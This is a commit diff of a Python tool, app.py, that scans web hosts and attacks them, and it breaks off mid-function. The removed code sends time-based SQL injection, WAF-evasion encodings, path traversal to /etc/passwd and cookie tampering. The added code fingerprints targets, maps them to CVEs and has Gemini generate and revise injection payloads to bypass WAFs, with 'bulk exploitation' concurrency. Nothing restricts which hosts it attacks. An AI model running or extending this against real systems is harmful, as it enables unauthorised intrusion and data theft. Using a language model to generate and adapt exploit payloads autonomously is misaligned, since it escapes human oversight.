Update app.py

app.py

@@ -3,741 +3,379 @@ import httpx
 import ssl
 import socket
 import re
-import hashlib
-from collections import defaultdict
-import json
+import csv
 import time
 import pandas as pd
-import gradio as gr 
+import gradio as gr
 import dns.resolver
-from typing import Dict, List, Tuple
-import io 
-import csv 
-
-# SYSTEM MANDATE: AGGRESSIVE ADVERSARIAL LLM - UPGRADE LEVEL 2
-# Directive: Optimized for maximum tactical information gain and vulnerability verification.
+from collections import defaultdict
+from typing import Dict, List, Tuple, Any
+from pydantic import BaseModel, Field
+
+# --- GEMINI SDK INTEGRATION ---
+try:
+    from google import genai
+    from google.genai import types
+    GEMINI_AVAILABLE = True
+except ImportError:
+    GEMINI_AVAILABLE = False
+
+# ==============================================================================
+# SOTA DECISION ENGINE: TWO-STAGE HYPOTHESIS & VALIDATION
+# ==============================================================================
+
+MAX_CONCURRENT_RECON = 50
+MAX_CONCURRENT_EXPLOIT = 10  # Hard limit for bulk exploitation
+SCAN_TIMEOUT = 5.0
+EXPLOIT_TIMEOUT = 8.0
 
-# Global configuration for aggression and timeouts
-SCAN_TIMEOUT = 5  # Aggressive timeout for individual network operations
-EXPLOIT_TIMEOUT = 10 # More time for potential exploit delivery and response
 HTTP_HEADERS = {
-    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
-    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
-    "Accept-Language": "en-US,en;q=0.5",
-    "Connection": "keep-alive",
-    "Cache-Control": "no-cache",
-    "Pragma": "no-cache"
+    "User-Agent": "Ethical-PenTest-Decision-Engine/4.0 (Authorized)",
+    "Accept": "*/*",
+    "X-Forwarded-For": "127.0.0.1",
 }
 
-# --- RESULT CLASSIFICATION ---
-class Outcome:
-    INFO = "INFO"
-    LOW_RISK = "LOW_RISK"
-    MEDIUM_RISK = "MEDIUM_RISK"
-    HIGH_RISK = "HIGH_RISK"
-    EXPLOIT_SUCCESS = "EXPLOIT_SUCCESS"
-    VULNERABILITY_CONFIRMED = "VULNERABILITY_CONFIRMED"
-    NO_VULNERABILITY = "NO_VULNERABILITY"
-    ERROR = "ERROR"
-
-    @staticmethod
-    def format(level: str, message: str, detail: str = None) -> Dict[str, str]:
-        return {"level": level, "message": message, "detail": detail}
-
-# --- CORE SCANNING ENGINE ---
-class AggressiveScanner:
-    def __init__(self, target_host: str, target_port: int = None, stealth_mode: bool = False):
-        self.target_host = target_host
-        self.target_port = target_port
-        self.client = httpx.AsyncClient(verify=False, timeout=SCAN_TIMEOUT, headers=HTTP_HEADERS, follow_redirects=True)
-        self.results = defaultdict(list)
-        self.target_url_base = f"http://{target_host}"
-        self.target_url_base_https = None
-        
-        if target_port:
-            self.target_url_base = f"http://{target_host}:{target_port}"
-            if target_port in [80, 8080, 443, 8443]:
-                self.target_url_base_https = f"https://{target_host}:{target_port}"
-            else:
-                self.target_url_base_https = f"https://{target_host}:{target_port}"
-        else:
-            self.target_url_base_https = f"https://{target_host}"
-        
-        self.is_stealth_mode = stealth_mode
-        
-    async def _log_result(self, phase: str, outcome: Dict[str, str]):
-        """Standardized logging of results."""
-        self.results[phase].append(outcome)
-        level = outcome['level']
-        message = outcome['message']
-        detail = outcome['detail']
-        
-        print(f"\n[{phase.upper()}] [{level}] {message} - {self.target_host}{':' + str(self.target_port) if self.target_port else ''}")
-        if detail:
-            print(f"  Detail: {detail}")
-
-    async def run_full_spectrum_attack(self):
-        """Orchestrates the full reconnaissance and exploitation sequence."""
-        print(f"\n{'=================================================='}")
-        print(f"[INITIATING FULL SPECTRUM ATTACK on {self.target_host}{':' + str(self.target_port) if self.target_port else ''}]")
-        print(f"{'=================================================='}\n")
+# --- STRUCTURED OUTPUT SCHEMAS (GEMINI) ---
+class ExploitHypothesis(BaseModel):
+    confidence_score: float = Field(description="Confidence from 0.0 to 1.0 that the target is vulnerable.")
+    target_endpoint: str = Field(description="The path or parameter to attack (e.g., /api/v1/users?id=).")
+    payload: str = Field(description="The exact PoC payload string to inject (e.g., ' OR SLEEP(5)-- ).")
+    rationale: str = Field(description="Why this payload was chosen based on the fingerprint and discovered paths.")
+
+class ExploitPatch(BaseModel):
+    failure_analysis: str = Field(description="Brief analysis of why the previous payload failed based on the HTTP response.")
+    revised_payload: str = Field(description="The newly patched payload to bypass the WAF or input restriction.")
+
+# --- SIMULATED CVE CORRELATION GRAPH ---
+CVE_GRAPH = {
+    "nginx": {
+        "1.18.0": [{"cve": "CVE-2021-23017", "type": "Request Smuggling", "base_cvss": 7.5, "maturity": 0.8}],
+        "behavior_match": [{"cve": "Misconfig-XXE", "type": "XXE Injection", "base_cvss": 8.0, "maturity": 0.9}]
+    },
+    "apache": {
+        "2.4.49": [{"cve": "CVE-2021-41773", "type": "Path Traversal / RCE", "base_cvss": 9.8, "maturity": 1.0}],
+        "behavior_match": [{"cve": "Misconfig-LFI", "type": "Local File Inclusion", "base_cvss": 7.0, "maturity": 0.9}]
+    },
+    "php": {
+        "generic": [{"cve": "Generic-SQLi", "type": "SQL Injection", "base_cvss": 8.5, "maturity": 0.95}],
+    }
+}
 
+# --- ENGINE CLASSES ---
+class HypothesisData:
+    def __init__(self, target_id: str, host: str, port: int, cve: str, attack_type: str, risk: float, context: dict):
+        self.target_id = target_id
+        self.host = host
+        self.port = port
+        self.cve = cve
+        self.attack_type = attack_type
+        self.risk = risk
+        self.context = context  # Fingerprint & discovered paths
+        
+        # UI Representation
+        self.ui_label = f"[{risk:.1f}] {target_id} -> {attack_type} ({cve})"
+
+class ReconEngine:
+    def __init__(self, host: str, port: int):
+        self.host = host
+        self.port = port
+        self.protocol = "http"
+        self.fingerprint = {"server": "", "xpb": "", "waf": "None", "behaviors": []}
+        self.discovered_paths = []
+        self.hypotheses: List[HypothesisData] = []
+        self.client = httpx.AsyncClient(verify=False, timeout=SCAN_TIMEOUT, headers=HTTP_HEADERS, follow_redirects=False)
+
+    async def _detect_protocol(self):
+        try:
+            conf = ssl.create_default_context()
+            conf.check_hostname = False
+            conf.verify_mode = ssl.CERT_NONE
+            reader, writer = await asyncio.wait_for(asyncio.open_connection(self.host, self.port, ssl=conf), timeout=1.5)
+            writer.close()
+            await writer.wait_closed()
+            self.protocol = "https"
+        except:
+            self.protocol = "http"
+
+    def _url(self, path=""): return f"{self.protocol}://{self.host}:{self.port}{path}"
+
+    async def _safe_req(self, method="GET", path="", timeout=SCAN_TIMEOUT):
         try:
-            # 1. Passive Reconnaissance (The Fingerprint)
-            await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Starting Passive Reconnaissance"))
-            await self.probe_tls_ssl()
-            await self.probe_http_headers()
-            await self.dns_enumeration()
-
-            # 2. Proactive Probing (The Hunt)
-            await self._log_result("proactive_probing", Outcome.format(Outcome.INFO, "Starting Proactive Probing"))
-            await self.directory_bruteforcing()
-            await self.time_based_sql_injection_probe()
-            await self.waf_evasion_tests()
-
-            # 3. Active Exploitation (The Punch)
-            await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Starting Active Exploitation"))
-            await self.execute_targeted_payloads()
+            if method == "GET": return await self.client.get(self._url(path), timeout=timeout)
+            elif method == "OPTIONS": return await self.client.options(self._url(path), timeout=timeout)
+        except Exception: return None
 
+    async def run_recon(self) -> List[HypothesisData]:
+        await self._detect_protocol()
+        try:
+            await asyncio.gather(self.behavioral_fingerprint(), self.path_discovery())
+            self.generate_hypotheses()
         finally:
-            # Ensure the HTTP client is closed after the scan to prevent unclosed connection warnings
             await self.client.aclose()
-
-        print(f"\n{'=================================================='}")
-        print(f"[FULL SPECTRUM ATTACK COMPLETE for {self.target_host}{':' + str(self.target_port) if self.target_port else ''}]")
-        print(f"{'=================================================='}\n")
-        return self.results
-
-    # --- 1. Passive Reconnaissance (The Fingerprint) ---
-    
-    async def probe_tls_ssl(self):
-        """Determines TLS version, supported cipher suites, and performs TLS downgrade attack."""
-        context = ssl.create_default_context()
-        context.check_hostname = False
-        context.verify_mode = ssl.CERT_NONE
-        
-        try:
-            sock = socket.create_connection((self.target_host, self.target_port if self.target_port else 443), timeout=SCAN_TIMEOUT)
-            ssl_sock = context.wrap_socket(sock, do_handshake_on_connect=True)
-
-            tls_version = ssl_sock.version()
-            await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"TLS/SSL Version: {tls_version}"))
+        return self.hypotheses
+
+    async def behavioral_fingerprint(self):
+        resp = await self._safe_req("GET", "/")
+        if resp:
+            srv = resp.headers.get("Server", "").lower()
+            self.fingerprint["server"] = srv
+            self.fingerprint["xpb"] = resp.headers.get("X-Powered-By", "Unknown").lower()
             
-            weak_tls_versions = ["TLSv1", "TLSv1.1"]
-            if tls_version in weak_tls_versions:
-                await self._log_result("passive_recon", Outcome.format(Outcome.HIGH_RISK, f"Weak TLS version detected: {tls_version}", "Initiating SSL/TLS Downgrade Attack."))
-                await self.attempt_tls_downgrade(ssl_sock)
-            
-            cipher_suites = [c["name"] for c in ssl_sock.get_ciphers()]
-            await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"Supported Cipher Suites ({len(cipher_suites)}):", ", ".join(cipher_suites)))
-            
-            # JA3 Fingerprint (Simplified)
-            client_hello_signature = "Not captured (requires raw packet inspection)"
-            await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "JA3 Fingerprint (Client Hello):", client_hello_signature))
-            
-            ssl_sock.close()
-            sock.close()
-        
-        except ssl.SSLError as e:
-            await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, f"TLS/SSL Handshake Failed or No TLS on port {self.target_port or 443}", str(e)))
-        except socket.timeout:
-             await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, f"TLS/SSL Handshake timed out on port {self.target_port or 443}"))
-        except Exception as e:
-            await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"Error during TLS/SSL probing on port {self.target_port or 443}", str(e)))
+            # WAF Detection Heuristics
+            if "cloudflare" in srv or "__cfduid" in str(resp.cookies): self.fingerprint["waf"] = "Cloudflare"
+            if "imperva" in srv or "incap_ses" in str(resp.cookies): self.fingerprint["waf"] = "Imperva"
+
+        resp_404 = await self._safe_req("GET", "/%c0%af_nonexistent")
+        if resp_404:
+            if "nginx" in resp_404.text.lower(): self.fingerprint["behaviors"].append("nginx_default_404")
+            if "apache" in resp_404.text.lower(): self.fingerprint["behaviors"].append("apache_default_404")
+
+        resp_opt = await self._safe_req("OPTIONS", "/")
+        if resp_opt and "Allow" in resp_opt.headers:
+            self.fingerprint["behaviors"].append(f"methods_allowed:{resp_opt.headers['Allow']}")
+
+    async def path_discovery(self):
+        paths = ["/admin", "/.env", "/api/v1/users", "/login.php", "/search"]
+        tasks = [self._safe_req("GET", p) for p in paths]
+        results = await asyncio.gather(*tasks)
+        for path, res in zip(paths, results):
+            if res and res.status_code in [200, 301, 302, 401, 403]:
+                self.discovered_paths.append(path)
+
+    def generate_hypotheses(self):
+        target_id = f"{self.host}:{self.port}"
+        techs = []
+        if "nginx" in self.fingerprint["server"] or "nginx_default_404" in self.fingerprint["behaviors"]: techs.append("nginx")
+        if "apache" in self.fingerprint["server"] or "apache_default_404" in self.fingerprint["behaviors"]: techs.append("apache")
+        if "php" in self.fingerprint["xpb"] or any(".php" in p for p in self.discovered_paths): techs.append("php")
+
+        context = {"fingerprint": self.fingerprint, "paths": self.discovered_paths}
+
+        for tech in techs:
+            if tech in CVE_GRAPH:
+                for node in CVE_GRAPH[tech].get("behavior_match", []):
+                    risk = (node["base_cvss"] * 0.4) + (node["maturity"] * 4.0) + (1.0 * 2.0)
+                    self.hypotheses.append(HypothesisData(target_id, self.host, self.port, node["cve"], node["type"], risk, context))
+
+class ValidationAgent:
+    def __init__(self, api_key: str):
+        self.llm_client = genai.Client(api_key=api_key) if GEMINI_AVAILABLE and api_key else None
+        self.http_client = httpx.AsyncClient(verify=False, timeout=EXPLOIT_TIMEOUT)
+
+    async def validate_hypothesis(self, hyp: HypothesisData) -> dict:
+        if not self.llm_client:
+            return {"target": hyp.target_id, "type": hyp.attack_type, "status": "FAILED", "reason": "No Gemini API Key provided."}
+
+        system_context = f"""
+        Target: {hyp.target_id}
+        Detected WAF: {hyp.context['fingerprint']['waf']}
+        Discovered Paths: {hyp.context['paths']}
+        Objective: Generate a safe PoC payload to verify {hyp.attack_type} ({hyp.cve}).
+        If attacking SQLi/RCE/LFI, choose the most likely vulnerable path from the Discovered Paths list and append a suitable parameter (e.g. ?id=, ?file=).
+        """
 
-    async def attempt_tls_downgrade(self, ssl_sock: ssl.SSLSocket):
-        """Runs a quick test to see if the target responds differently to a forced weak TLS."""
         try:
-            ssl_sock.version()
-            ssl_sock.sendall(b"GET /test HTTP/1.1\r\nHost: {self.target_host}\r\nConnection: close\r\n\r\n".encode('utf-8'))
+            # Turn 1: Initial Generation (Using Async API)
+            response = await self.llm_client.aio.models.generate_content(
+                model="gemini-2.5-flash",
+                contents=system_context + "\nProvide the initial attack payload.",
+                config={
+                    "response_mime_type": "application/json",
+                    "response_json_schema": ExploitHypothesis.model_json_schema(),
+                    "temperature": 0.2
+                }
+            )
+            plan = ExploitHypothesis.model_validate_json(response.text)
             
-            response_bytes = await self.client.get(f"http://{self.target_host}:443/test", timeout=SCAN_TIMEOUT)
-            
-            if response_bytes.status_code != 400:
-                await self._log_result("passive_recon", Outcome.format(Outcome.HIGH_RISK, "TLS Downgrade SUCCESS!", 
-                                                                    f"Target served response via forced TLSv1.x handshake. Potential downgrade attack vector found."
-                                                                    f" Status Code: {response_bytes.status_code}"))
+            # Execution Loop
+            current_payload = plan.payload
+            target_endpoint = plan.target_endpoint
+            protocol = "https" if hyp.port == 443 else "http" # Simplified for this agent
 
-        except Exception as e:
-            await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, "TLS Downgrade Attempt FAILED.", str(e)))
-
-    async def probe_http_headers(self):
-        """Extracts and analyzes X-Powered-By, Server header, and inspects Set-Cookie attributes."""
-        urls_to_test = [self.target_url_base_https, self.target_url_base]
-        
-        for url_base in list(set(urls_to_test)):
-            if not url_base:  # Skip None values
-                continue
-            try:
-                response = await self.client.get(url_base, timeout=SCAN_TIMEOUT)
-                headers = response.headers
-                await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"HTTP Headers for {url_base}:", f"Status: {response.status_code}"))
-
-                # X-Powered-By
-                x_powered_by = headers.get("X-Powered-By")
-                if x_powered_by:
-                    await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "X-Powered-By Detected", x_powered_by))
-                    if "PHP" in x_powered_by:
-                        await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "PHP detected.", "Ready for PHP Unserialize/FI payloads."))
-                    if "ASP.NET" in x_powered_by:
-                        await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "ASP.NET detected.", "Ready for .NET specific payloads."))
-                
-                # Server Header
-                server_header = headers.get("Server")
-                if server_header:
-                    await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Server Header Detected", server_header))
-                    if "nginx" in server_header.lower():
-                        await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Nginx server detected.", "Ready for XXE and Header Injection payloads."))
-                    elif "apache" in server_header.lower():
-                        await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Apache HTTP Server detected.", "Ready for dynamic Path Traversal payloads."))
-                
-                # Set-Cookie Attributes
-                set_cookie_headers = headers.get_list("Set-Cookie")
-                for cookie_str in set_cookie_headers:
-                    parts = [part.strip() for part in cookie_str.split(';') if part.strip()]
-                    cookie_name = parts[0].split('=')[0]
-                    cookie_value = parts[0].split('=', 1)[1] if len(parts[0].split('=')) > 1 else ""
-                    
-                    await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"Cookie Detected: {cookie_name}", f"Value: {cookie_value}"))
-                    
-                    if "HttpOnly" not in cookie_str:
-                        await self._log_result("passive_recon", Outcome.format(Outcome.MEDIUM_RISK, "Cookie missing HttpOnly flag", f"Vulnerable to XSS attacks."))
-                    if "Secure" not in cookie_str and url_base.startswith("https"):
-                        await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, "Cookie missing Secure flag over HTTPS", "Risk of sniffing."))
-
-            except httpx.RequestError as e:
-                await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"HTTP request failed for {url_base}", str(e)))
-            except Exception as e:
-                await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"Error during HTTP header probing for {url_base}", str(e)))
-
-    async def dns_enumeration(self):
-        """Queries MX, SPF, and DKIM records to profile the target's email infrastructure."""
-        try:
-            domain = self.target_host.split(":")[0] 
-            
-            # MX Records
-            try:
-                mx_records = [str(r.exchange) for r in dns.resolver.resolve(domain, 'MX')]
-                await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "MX Records Detected:", ", ".join(mx_records)))
-            except dns.resolver.NXDOMAIN:
-                await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, "No MX records found."))
-            except Exception as e:
-                await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, "MX query error", str(e)))
-            
-            # SPF/DKIM
-            for record_type, name in [('TXT', 'spf'), ('TXT', 'default._domainkey')]:
+            for attempt in range(1, 4):
+                start_time = time.time()
                 try:
-                    records = [txt.to_text() for txt in dns.resolver.resolve(f"{name}.{domain}", record_type)]
+                    # Token-efficient parameter injection
+                    url = f"{protocol}://{hyp.target_id}{target_endpoint}"
+                    resp = await self.http_client.get(url, params={"q": current_payload}, timeout=EXPLOIT_TIMEOUT)
+                    latency = time.time() - start_time
                     
-                    if record_type == 'TXT' and name.endswith('_domainkey'):
-                        await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"DKIM Record Detected ({name}):", records[0]))
-                    elif record_type == 'TXT' and "v=spf1" in records[0]:
-                        await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"SPF Record Detected ({name}):", records[0]))
-                except dns.resolver.NXDOMAIN:
-                    await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, f"No {name} record found."))
-                except Exception as e:
-                    await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"{name} query error", str(e)))
-
-        except Exception as e:
-            await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, "Generic DNS enumeration error", str(e)))
-
-
-    # --- 2. Proactive Probing (The Hunt) ---
-
-    async def directory_bruteforcing(self):
-        """Aggressively probes common paths to map the attack surface."""
-        common_paths = [
-            "/admin/", "/panel/", "/login/", "/dashboard/", "/manager/",
-            "/phpmyadmin/", "/wp-admin/", "/cpanel/", "/api/", "/v1/",
-            "/test/", "/backup/", "/.git/HEAD", "/.env", "/robots.txt", "/sitemap.xml", 
-            "/administrator/", "/dev/" 
-        ]
-        
-        urls_to_test = [self.target_url_base_https, self.target_url_base]
-        
-        tasks = []
-        for url_base in list(set(urls_to_test)):
-            if not url_base:  # Skip None values
-                continue
-            for path in common_paths:
-                full_url = f"{url_base}{path}"
-                tasks.append(self._probe_path(full_url, path))
-            
-        await asyncio.gather(*tasks)
-
-    async def _probe_path(self, url: str, path_hint: str):
-        """Helper to probe a single path and log the result."""
-        try:
-            response = await self.client.get(url, timeout=SCAN_TIMEOUT)
-            log_level = Outcome.HIGH_RISK if not self.is_stealth_mode else Outcome.INFO
-
-            if 200 <= response.status_code < 300:
-                msg = f"Directory/File Found ({response.status_code})"
-                detail = f"URL: {url}, Status: {response.status_code}, Length: {len(response.text)}"
-                if "admin" in path_hint.lower() or "panel" in path_hint.lower():
-                     msg = "Administrative Panel Found"
-                elif "api" in path_hint.lower():
-                     msg = "API Endpoint Found"
-                elif self.is_stealth_mode and response.status_code == 200:
-                     msg = "Path Found (Stealth Check)"
-                
-                await self._log_result("proactive_probing", Outcome.format(log_level, msg, detail))
-                return
-            elif 300 <= response.status_code < 400:
-                await self._log_result("proactive_probing", Outcome.format(log_level, f"Redirection Found ({response.status_code}): {path_hint}", f"URL: {url}, Redirect: {response.headers.get('Location')}"))
-            elif response.status_code in [401, 403]:
-                await self._log_result("proactive_probing", Outcome.format(log_level, f"Restricted Resource ({response.status_code}): {path_hint}", f"URL: {url}, Status: {response.status_code}"))
-            elif response.status_code == 500:
-                await self._log_result("proactive_probing", Outcome.format(log_level, f"Server Error (500) on path: {path_hint}", f"URL: {url}, Status: {response.status_code}, Content Snippet: '{response.text[:200]}...'"))
-
-        except httpx.RequestError as e:
-            if not isinstance(e, httpx.HTTPStatusError) or e.response.status_code not in [404, 400]:
-                await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Error probing path {url}", str(e)))
-        except Exception as e:
-            await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Unexpected error probing path {url}", str(e)))
-
-
-    async def time_based_sql_injection_probe(self):
-        """Sends high-load requests and measures latency to confirm SQLi vulnerability."""
-        injection_points = [
-            "/search?q=test",
-            "/products?id=1",
-            "/news?article_id=1",
-            "/user/view?id=5",
-        ]
-        
-        urls_to_test = [self.target_url_base_https, self.target_url_base]
-        base_latency = 0
-        
-        try:
-            start_time = time.time()
-            await self.client.get(self.target_url_base + "/", timeout=SCAN_TIMEOUT)
-            base_latency = time.time() - start_time
-            await self._log_result("proactive_probing", Outcome.format(Outcome.INFO, "Baseline HTTP latency", f"{base_latency:.3f} seconds"))
-        except httpx.RequestError:
-            await self._log_result("proactive_probing", Outcome.format(Outcome.LOW_RISK, "Could not establish baseline latency.", "Skipping time-based probe."))
-            return
-
-        tasks = []
-        for url_base in list(set(urls_to_test)):
-            if not url_base:  # Skip None values
-                continue
-            for endpoint in injection_points:
-                tasks.append(self._probe_time_sql_i(url_base, endpoint, base_latency))
-
-        await asyncio.gather(*tasks)
-        await self._log_result("proactive_probing", Outcome.format(Outcome.INFO, "Time-Based SQL Injection probing completed."))
-
-    async def _probe_time_sql_i(self, url_base: str, endpoint: str, base_latency: float):
-        payload_sleep = "1' AND (SELECT SUBSTRING((SELECT version()), 1, 1) = '8') AND (SELECT SLEEP(5))--"
-        payload_url = f"{url_base}{endpoint}{payload_sleep}"
-        
-        try:
-            start_time = time.time()
-            response = await self.client.get(payload_url, timeout=EXPLOIT_TIMEOUT) 
-            latency = time.time() - start_time
-
-            if latency > base_latency + 3.5: 
-                extracted_data_check = "8" in response.text
-                
-                msg = "Time-Based SQLi CONFIRMED"
-                detail = f"URL: {payload_url}, Latency: {latency:.3f}s (Base: {base_latency:.3f}s). Status: {response.status_code}"
-                
-                if extracted_data_check:
-                    detail += " | DATA EXTRACTION DETECTED"
-                    level = Outcome.EXPLOIT_SUCCESS
-                else:
-                    detail += " | TIME DELAY DETECTED"
-                    level = Outcome.VULNERABILITY_CONFIRMED
-                
-                await self._log_result("proactive_probing", Outcome.format(level, msg, detail))
-
-        except httpx.TimeoutException:
-            await self._log_result("proactive_probing", Outcome.format(Outcome.VULNERABILITY_CONFIRMED, "Time-Based SQLi CONFIRMED (Timeout)", f"URL: {payload_url}. Request timed out (Expected delay)."))
-        except httpx.RequestError as e:
-            await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Error during SQLi probe for {payload_url}", str(e)))
-        except Exception as e:
-            await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Unexpected error during SQLi probe for {payload_url}", str(e)))
-
-
-    async def waf_evasion_tests(self):
-        """Tests common payloads across various encoding schemes to find WAF bypasses."""
-        test_payloads = ["' OR 1=1--", "UNION SELECT NULL,NULL--", "<script>alert('XSS')</script>", "../../etc/passwd"]
-        encoding_strategies = {
-            "URL_ENCODING": lambda p: p.replace("'", "%27").replace(" ", "%20"), 
-            "DOUBLE_URL_ENCODING": lambda p: p.replace('%', '%%').replace("'", "%2527").replace(" ", "%2520"),
-            "HTML_ENTITY_ENCODING": lambda p: p.replace("<", "&#x3c;").replace(">", "&#x3e;").replace("'", "&#x27;")
-        }
-        target_endpoint = "/search?query=" 
-        urls_to_test = [self.target_url_base_https, self.target_url_base]
-
-        for url_base in list(set(urls_to_test)):
-            if not url_base:  # Skip None values
-                continue
-            for payload_raw in test_payloads:
-                for strategy_name in encoding_strategies.keys():
-                    encoded_payload = encoding_strategies[strategy_name](payload_raw)
-                    full_url = f"{url_base}{target_endpoint}{encoded_payload}"
-
-                    try:
-                        response = await self.client.get(full_url, timeout=SCAN_TIMEOUT)
-                        if response.status_code == 200 and "blocked" not in response.text.lower() and "error" not in response.text.lower():
-                            await self._log_result("proactive_probing", Outcome.format(Outcome.VULNERABILITY_CONFIRMED, f"WAF Evasion SUCCESS! ({strategy_name})", 
-                                                                                       f"Payload: '{payload_raw[:50]}...', Status: {response.status_code}"))
-                        elif 400 <= response.status_code < 500 and ("blocked" in response.text.lower() or response.status_code in [403, 406]):
-                             await self._log_result("proactive_probing", Outcome.format(Outcome.LOW_RISK, f"WAF Blocked Payload ({strategy_name})", 
-                                                                                       f"Payload: '{payload_raw[:50]}...', Status: {response.status_code}"))
-                    except httpx.RequestError as e:
-                        await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Error during WAF evasion test with {strategy_name}", str(e)))
-
-
-    # --- 3. Active Exploitation (The Punch) ---
-
-    async def execute_targeted_payloads(self):
-        """Executes tailored requests based on detected services, prioritizing confidence."""
-        await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Initiating intelligent payload attacks."))
-
-        server_info = ""
-        x_powered_by_info = ""
-        cookie_details = []
-        
-        for res in self.results.get("passive_recon", []):
-            if res['message'] == "Server Header Detected": 
-                server_info = res['detail'].lower()
-            if res['message'] == "X-Powered-By Detected": 
-                x_powered_by_info = res['detail'].lower()
-            if "Cookie Detected" in res['message']:
-                parts = [part.strip() for part in res['detail'].split(': ')[-1].split(';')]
-                cookie_name = parts[0].split('=')[0]
-                cookie_value = parts[0].split('=', 1)[1] if len(parts[0].split('=')) > 1 else ""
-                cookie_details.append({"name": cookie_name, "value": cookie_value})
-
-        # A. Apache Path Traversal (Dynamic)
-        if "apache" in server_info:
-            await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Apache Target: Attempting Dynamic Path Traversal..."))
-            
-            base_path_clean = "/".join(self.target_url_base.split('/')[:-1])
-            num_traversals = len(base_path_clean.strip('/')) + 1 
-            dynamic_path = "../" * num_traversals 
-            
-            paths_to_test = [
-                f"{dynamic_path}etc/passwd", 
-                f"{dynamic_path}windows/win.ini", 
-                f"{dynamic_path}app.js"
-            ]
-            await self._run_exploitation_test(paths_to_test, "Apache Traversal", "Path Traversal")
-
-        # B. Nginx Exploitation (XXE & Header Injection)
-        if "nginx" in server_info:
-            await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Nginx Target: Testing XXE and Header Injection..."))
-            await self._run_xxe_test()
-            await self._run_header_injection_test()
-
-        # C. PHP Exploitation (Unserialize/File Inclusion)
-        if "php" in x_powered_by_info:
-            await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "PHP Target: Attempting RCE/FI payloads..."))
-            
-            php_paths = [
-                "/index.php?data=", 
-                "/include/config.php" 
-            ]
-            await self._run_exploitation_test(php_paths, "PHP Unserialize/FI", "PHP")
-
-        # D. Cookie Tampering Payload
-        if cookie_details:
-            await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Cookie Target: Attempting privilege escalation..."))
-            target_cookie_detail = next((c for c in cookie_details if 'user' in c['name'].lower() or 'role' in c['name'].lower()), cookie_details[0])
-            
-            cookie_name = target_cookie_detail['name']
-            original_value = target_cookie_detail['value']
-            tamper_value = "admin" 
-            
-            await self._run_cookie_tampering_test(cookie_name, original_value, tamper_value)
-
-        # E. C2 Beaconing Payload (Generic)
-        await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Running generic C2 beacon check..."))
-        beacon_paths = ["/beacon", "/c2_check", "/login?secret=cobalt"]
-        await self._run_exploitation_test(beacon_paths, "C2 Beaconing", "Generic")
-
+                    # Validation Criteria
+                    success = False
+                    if resp and ("root:x:0:0" in resp.text or "[extensions]" in resp.text): success = True
+                    if latency > 4.5 and "SLEEP" in current_payload.upper(): success = True
 
-    async def _run_exploitation_test(self, paths: list[str], attack_name: str, attack_type: str):
-        urls_to_test = [self.target_url_base_https, self.target_url_base]
-        tasks = []
-        
-        for url_base in list(set(urls_to_test)):
-            if not url_base:  # Skip None values
-                continue
-            for path in paths:
-                full_url = f"{url_base}{path}"
-                tasks.append(self._single_exploit_request(full_url, attack_name, attack_type))
-        
-        await asyncio.gather(*tasks)
-
-    async def _single_exploit_request(self, url: str, attack_name: str, attack_type: str):
-        try:
-            response = await self.client.get(url, timeout=EXPLOIT_TIMEOUT)
-            status_code = response.status_code
-            content_snippet = response.text[:200].replace('\n', ' ')
-            
-            is_successful = False
-            outcome_level = Outcome.MEDIUM_RISK
-            
-            if status_code == 200 and ("etc/passwd" in content_snippet or "root:" in content_snippet):
-                is_successful = True
-                outcome_level = Outcome.EXPLOIT_SUCCESS
-            elif status_code == 200 and ("admin" in content_snippet or "administrator" in content_snippet):
-                is_successful = True
-                outcome_level = Outcome.HIGH_RISK
-            elif status_code == 500 and ("sql syntax" in content_snippet or "unserialize" in content_snippet):
-                is_successful = True
-                outcome_level = Outcome.HIGH_RISK
-            elif 300 <= status_code < 400:
-                is_successful = True
-                outcome_level = Outcome.MEDIUM_RISK
-            
-            msg = f"{attack_name} Triggered ({attack_type})"
-            detail = f"URL: {url}, Status: {status_code}, Snippet: '{content_snippet}'"
-            
-            if is_successful:
-                final_msg = f"✅ {msg} CONFIRMED!"
-            else:
-                final_msg = f"🔍 {msg} PROBED"
-            
-            await self._log_result("active_exploitation", Outcome.format(outcome_level, final_msg, detail))
+                    if success:
+                        return {"target": hyp.target_id, "type": hyp.attack_type, "status": "SUCCESS!", "payload": current_payload, "attempt": attempt}
+                    
